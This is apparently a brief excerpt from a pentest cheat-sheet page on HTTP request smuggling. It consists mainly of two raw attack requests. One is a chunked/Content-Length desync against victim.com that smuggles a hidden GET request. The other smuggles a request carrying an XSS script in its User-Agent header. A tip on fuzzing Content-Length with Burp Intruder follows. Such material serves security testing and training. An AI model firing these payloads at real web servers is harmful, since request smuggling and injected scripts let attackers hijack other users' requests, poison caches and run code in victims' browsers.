Last updated 22 days ago
Was this helpful?
POST / HTTP/1.1 Host: victim.com Content-Length: 67 Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked Z 0 GET /smuggled HTTP/1.1 Host: victim.com X: X
POST / HTTP/1.1 Host: vuln website Cookie: {your cookies} Transfer-Encoding: chunked Content-Length: 100 0 GET /POST?postID=2 HTTP/1.1 User-Agent: X"><script>alert("XSS")</script> Content-Type: applications/x-www-form-urlencoded Content-Length: 5 X=1
What size for Content-Length?
Fuzz: Burp Intruder -> Payload type: Number -> Range: 1 to X -> Look for response variations.
HTTP Request Smuggler
